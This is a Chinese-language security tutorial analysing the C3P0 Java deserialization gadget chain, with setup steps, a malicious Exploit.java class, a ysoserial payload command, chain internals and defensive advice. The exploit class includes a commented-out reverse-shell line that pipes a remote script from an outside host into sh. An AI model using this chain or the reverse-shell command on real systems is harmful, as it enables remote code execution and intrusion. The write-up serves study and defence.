C3P0反序列化链浅析
字数 1567 2025-08-04 00:38:02
C3P0反序列化链深入分析与利用指南
0x00 前言
C3P0是一个开源的JDBC连接池库,广泛应用于Java应用程序中。虽然C3P0反序列化漏洞在安全社区中讨论较少,但在实际渗透测试中已被证实有效。本文将从环境搭建、原理分析到实际利用,全面剖析C3P0反序列化链。
0x01 环境依赖
必要组件
-
ysoserial工具:用于生成反序列化payload
git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests -
C3P0库版本要求:
- c3p0: 0.9.5.2
- mchange-commons-java: 0.2.11 (C3P0的依赖包)
Maven依赖配置
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>
0x02 漏洞利用环境搭建
1. 反序列化Demo代码
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class C3P0 {
public static void main(String args[]) throws IOException, ClassNotFoundException {
String path = System.getProperty("user.dir");
System.out.println(path);
ObjectInputStream in = new ObjectInputStream(new FileInputStream(path+"/src/main/java/poc.ser"));
in.readObject(); // 反序列化触发点
}
}
2. 恶意类构造(Exploit.java)
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try{
Runtime rt = Runtime.getRuntime();
// 反弹shell示例(需替换IP和PORT)
//String[] commands = {"bash","-c","curl https://reverse-shell.sh/IP:PORT|sh"};
String[] commands = {"bash", "-c", "open -a calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();
}catch (Exception e){
// 静默处理异常
}
}
}
编译恶意类:
javac Exploit.java
3. 启动HTTP服务托管恶意类
python3 -m http.server 9091
4. 生成反序列化Payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar C3P0 "http://0.0.0.0:9091/:Exploit" > poc.ser
0x03 漏洞原理深度分析
反序列化链调用流程
-
入口点:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject- 读取版本号后触发原生反序列化
- 对反序列化对象调用
getObject()方法
-
关键节点:
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject- 私有静态类,包含可控属性:
Reference reference; // 引用对象 Name name; // 名称 Name contextName; // 上下文名称(可控) Hashtable env; // 环境变量 - 通过
initialContext.lookup(contextName)实现JNDI注入
- 私有静态类,包含可控属性:
-
最终利用:
com.sun.jndi.rmi.registry.RegistryContext#lookup- 通过JNDI加载并执行远程恶意类
动态调试分析
-
断点设置:
- PoolBackedDataSourceBase.readObject
- ReferenceSerialized.getObject
-
关键判断:
if (o instanceof IndirectlySerialized) { return ((IndirectlySerialized) o).getObject(); }- 检查对象是否实现
IndirectlySerialized接口
- 检查对象是否实现
-
恶意类加载:
- 通过
ReferenceableUtils.referenceToObject方法 - 使用URLClassLoader远程加载恶意类
- 通过
Class.forName触发静态代码块
- 通过
序列化过程分析(ysoserial实现)
-
Payload生成流程:
- 参数格式:
<base_url>:<classname> - 示例:
http://0.0.0.0:9091/:Exploit
- 参数格式:
-
核心类构造:
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource") .set(b, new PoolSource(className, url)); -
PoolSource类关键点:
- 实现
ConnectionPoolDataSource和Referenceable接口 getReference方法构造恶意类引用:return new Reference("exploit", this.className, this.url);
- 实现
-
序列化绕过技巧:
- 当PoolSource(未实现Serializable)序列化失败时
- 通过
indirectForm方法生成ReferenceSerialized实例 - 直接写入字节码绕过序列化限制
0x04 漏洞利用总结
-
利用条件:
- 目标使用特定版本的C3P0(0.9.5.2)
- 存在反序列化入口点
- 出网环境(可访问攻击者控制的HTTP服务)
-
攻击流程:
序列化Payload生成 → 触发readObject → 加载ReferenceSerialized → 调用getObject → URLClassLoader加载远程类 → 执行恶意代码 -
防御建议:
- 升级C3P0到安全版本
- 对反序列化操作进行白名单控制
- 使用SecurityManager限制危险操作
- 网络层面限制出站连接
0x05 参考资源
- C3P0反序列化链利用分析
- c3p0的三个gadget
- Modify ysoserial jar serialVersionUID
- ysoserial CommonsCollections7 & C3P0 详细分析
- ysoserial-C3P0 分析
通过本文的详细分析,读者可以全面了解C3P0反序列化链的原理、利用方法及防御措施。在实际渗透测试中,该链常被忽视但确实有效,值得安全研究人员重点关注。